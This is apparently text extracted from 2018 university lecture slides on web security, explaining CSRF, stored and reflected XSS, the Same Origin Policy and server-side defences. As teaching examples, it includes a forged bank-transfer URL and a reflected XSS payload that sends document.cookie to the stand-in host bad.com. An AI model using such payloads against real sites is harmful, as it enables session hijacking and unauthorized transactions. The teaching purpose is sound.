
WEB SECURITY:  
XSS & CSRF

CMSC 414
FEB 22 2018



Cross-Site Request 
Forgery (CSRF)



URLs with side-effects

• GET requests should have no side-effects, but 
often do 

• What happens if the user is logged in with an active 
session cookie and visits this link? 

• How could you possibly get a user to visit this link?

http://bank.com/transfer.cgi?amt=9999&to=attacker

http://bank.com/transfer.cgi?amt=9999&to=attacker
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Cross-Site Request Forgery
• Target: User who has some sort of account on a vulnerable 

server where requests from the user’s browser to the server 
have a predictable structure 

• Attack goal: make requests to the server via the user’s 
browser that look to the server like the user intended to make 
them 

• Attacker tools: ability to get the user to visit a web page under 
the attacker’s control 

• Key tricks: 
• Requests to the web server have predictable structure 
• Use of something like <img src=…> to force the victim to send it



CSRF protections
• Client-side:
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The loss of functionality would be too high



CSRF protections
• Client-side:

Disallow one site to link to another?? 

The loss of functionality would be too high

Let’s consider server-side protections



Secret validation tokens
• Include a secret validation token in the request 

• Must be difficult for an attacker to predict 

• Options: 
• Random session ID 

- Stored as cookie (“session independent nonce”) 
- Stored at server (“session-dependent nonce”) 

• The session cookie itself (“session identifier”) 
http://website.com/doStuff.html?sid=81asf98as8eak 

• HMAC of the cookie 
- As unique as session cookie, but learning the HMAC doesn’t 

reveal the cookie itself



Referrer URLs



Referrer URLs
Idea: Only allow certain actions if the  
referrer URL is from this site, as well 



Referrer URLs
Idea: Only allow certain actions if the  
referrer URL is from this site, as well 

Problem: Often suppressed



Custom headers
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Custom headers
Security through obscurity

Include precisely what is needed  
to identify the principal who referred

Origin headers: More private Referrer headers

http://foo.com/embarrassing.html?data=oops

Send only for POST requests
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• Sniff the network 
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• Trick the user into thinking you are Facebook 
• The user will send you the cookie

Browser Web server

Client Server

Cookie State

Cookie

Cookie

Server

Cookie



How can you steal a session cookie?

• Compromise the user’s machine / browser 

• Sniff the network 

• DNS cache poisoning 
• Trick the user into thinking you are Facebook 
• The user will send you the cookie

Network-based attacks (more later)
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Stealing users’ cookies

For now, we’ll assume this attack model:
• The user is visiting the site they expect 
• All interactions are strictly through the browser



Dynamic web pages
• Rather than static HTML, web pages can be 

expressed as a program, e.g., written in Javascript:

<html><body>

Hello, <b>

<script>
var a = 1;
var b = 2;
document.write(“world: “, a+b, “</b>”);

</script>

</body></html>



Javascript
• Powerful web page programming language 

• Scripts are embedded in web pages returned by 
the web server 

• Scripts are executed by the browser.  They can: 
• Alter page contents (DOM objects) 
• Track events (mouse clicks, motion, keystrokes) 
• Issue web requests & read replies 
• Maintain persistent connections (AJAX) 
• Read and set cookies

no relation 
to Java



What could go wrong?
• Browsers need to confine Javascript’s power 

• A script on attacker.com should not be able to: 
• Alter the layout of a bank.com web page 

• Read keystrokes typed by the user while on a 
bank.com web page  

• Read cookies belonging to bank.com



Same Origin Policy
• Browsers provide isolation for javascript scripts via 

the Same Origin Policy (SOP) 

• Browser associates web page elements… 
• Layout, cookies, events 

• …with a given origin 
• The hostname (bank.com) that provided the 

elements in the first place 

• SOP = only scripts received from a web page’s 
origin have access to the page’s elements

http://bank.com
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• This should be available to any 
resource within a subdirectory of /

• Send the cookie to any future requests 
to <domain>/<path>

Semantics
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Cross-site scripting 
(XSS)



XSS: Subverting the SOP
• Attacker provides a malicious script 

• Tricks the user’s browser into believing that the 
script’s origin is bank.com

http://bank.com


XSS: Subverting the SOP
• Attacker provides a malicious script 

• Tricks the user’s browser into believing that the 
script’s origin is bank.com

• One general approach: 
• Trick the server of interest (bank.com) to actually 

send the attacker’s script to the user’s browser! 
• The browser will view the script as coming from the 

same origin… because it does!

http://bank.com
http://bank.com


Two types of XSS
1. Stored (or “persistent”) XSS attack 

• Attacker leaves their script on the bank.com server 
• The server later unwittingly sends it to your browser 
• Your browser, none the wiser, executes it within the 

same origin as the bank.com server 

2. Reflected XSS attack 
• Attacker gets you to send the bank.com server a URL 

that includes some Javascript code 
• bank.com echoes the script back to you in its response 
• Your browser, none the wiser, executes the script in the 

response within the same origin as bank.com



Stored XSS attack
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Stored XSS Summary
• Target: User with Javascript-enabled browser who visits 

user-generated content page on a vulnerable web service 

• Attack goal: run script in user’s browser with the same 
access as provided to the server’s regular scripts (i.e., 
subvert the Same Origin Policy) 

• Attacker tools: ability to leave content on the web server 
(e.g., via an ordinary browser). Optional tool: a server for 
receiving stolen user information 

• Key trick: Server fails to ensure that content uploaded to 
page does not contain embedded scripts



Two types of XSS
1. Stored (or “persistent”) XSS attack 

• Attacker leaves their script on the bank.com server 
• The server later unwittingly sends it to your browser 
• Your browser, none the wiser, executes it within the 

same origin as the bank.com server 

2. Reflected XSS attack 
• Attacker gets you to send the bank.com server a URL 

that includes some Javascript code 
• bank.com echoes the script back to you in its response 
• Your browser, none the wiser, executes the script in the 

response within the same origin as bank.com

http://bank.com
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Echoed input
• The key to the reflected XSS attack is to find 

instances where a good web server will echo the 
user input back in the HTML response

http://victim.com/search.php?term=socks

<html> <title> Search results </title>
<body>
Results for socks :
. . .
</body></html>

Input from bad.com:

Result from victim.com:



Exploiting echoed input



Exploiting echoed input
http://victim.com/search.php?term=  
   <script> window.open(
     “http://bad.com/steal?c=“  
     + document.cookie)  
   </script>

Input from bad.com:

http://bad.com/steal?c=


Exploiting echoed input
http://victim.com/search.php?term=  
   <script> window.open(
     “http://bad.com/steal?c=“  
     + document.cookie)  
   </script>

<html> <title> Search results </title>
<body>
Results for <script> ... </script> 
. . .
</body></html>

Input from bad.com:

Result from victim.com:

http://bad.com/steal?c=


Exploiting echoed input
http://victim.com/search.php?term=  
   <script> window.open(
     “http://bad.com/steal?c=“  
     + document.cookie)  
   </script>

<html> <title> Search results </title>
<body>
Results for <script> ... </script> 
. . .
</body></html>

Browser would execute this within victim.com’s origin

Input from bad.com:

Result from victim.com:

http://bad.com/steal?c=
http://victim.com


Reflected XSS Summary
• Target: User with Javascript-enabled browser who a 

vulnerable web service that includes parts of URLs it 
receives in the web page output it generates 

• Attack goal: run script in user’s browser with the same 
access as provided to the server’s regular scripts (i.e., 
subvert the Same Origin Policy) 

• Attacker tools: ability to get user to click on a specially-
crafted URL. Optional tool: a server for receiving stolen user 
information 

• Key trick: Server fails to ensure that the output it generates 
does not contain embedded scripts other than its own



XSS Protection
• Open Web Application Security Project (OWASP): 

• Whitelist: Validate all headers, cookies, query 
strings… everything.. against a rigorous spec of what 
should be allowed 

• Don’t blacklist: Do not attempt to filter/sanitize. 

• Principle of fail-safe defaults.



Mitigating cookie security threats
• Cookies must not be easy to guess 

• Randomly chosen 
• Sufficiently long 

• Time out session IDs and delete them once the 
session ends



Twitter vulnerability
• Uses one cookie (auth_token) to validate user 

• The cookie is a function of 
• User name 
• Password 

• auth_token weaknesses 
• Does not change from one login to the next 
• Does not become invalid when the user logs out 

• Steal this cookie once, and you can log in as the 
user any time you want (until password change)



XSS vs. CSRF
• Do not confuse the two: 

• XSS attacks exploit the trust a client browser has in 
data sent from the legitimate website 
• So the attacker tries to control what the website sends 

to the client browser 

• CSRF attacks exploit the trust the legitimate 
website has in data sent from the client browser 
• So the attacker tries to control what the client browser 

sends to the website


